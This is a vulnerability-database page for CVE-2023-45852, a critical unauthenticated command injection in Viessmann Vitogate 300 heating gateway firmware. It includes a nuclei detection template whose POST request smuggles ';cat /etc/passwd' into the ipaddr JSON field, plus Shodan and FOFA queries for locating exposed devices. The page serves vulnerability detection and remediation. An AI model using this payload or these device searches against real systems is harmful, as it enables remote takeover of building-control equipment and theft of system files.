HexBrain

Browse / CVEs / CVE-2023-45852

CVE-2023-45852· viessmann / vitogate 300 firmware· CWE-77

Viessmann Vitogate 300 - Remote Code Execution

criticalseverity
9.8CVSS score
15.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.

Impact

Unauthenticated attackers can execute arbitrary commands with elevated privileges through shell metacharacters in the ipaddr parameter, potentially compromising the heating control gateway and accessing building management systems.

Fix

Update Viessmann Vitogate 300 firmware to a version newer than 2.1.3.0 that properly sanitizes the ipaddr parameter and prevents command injection through the JSON API.

How to confirm it

Send: POST /cgi-bin/vitogate.cgi
Positive when: status_code == 200 and contains_all(header, "application/json") and contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")

Run it with nuclei: nuclei -id CVE-2023-45852 -u <target>

The full check
id: CVE-2023-45852

info:
  name: Viessmann Vitogate 300 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with elevated privileges through shell metacharacters in the ipaddr parameter, potentially compromising the heating control gateway and accessing building management systems.
  remediation: |
    Update Viessmann Vitogate 300 firmware to a version newer than 2.1.3.0 that properly sanitizes the ipaddr parameter and prevents command injection through the JSON API.
  reference:
    - https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
    - https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45852
    - https://github.com/tanjiti/sec_profile
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-45852
    cwe-id: CWE-77
    epss-score: 0.15247
    epss-percentile: 0.9679
    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: viessmann
    product: vitogate_300_firmware
    shodan-query:
      - title:"Vitogate 300"
      - http.title:"vitogate 300"
    fofa-query:
      - title="Vitogate 300"
      - title="vitogate 300"
    google-query: intitle:"vitogate 300"
  tags: cve2023,cve,rce,vitogate,viessmann,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/vitogate.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(header, "application/json")'
          - 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from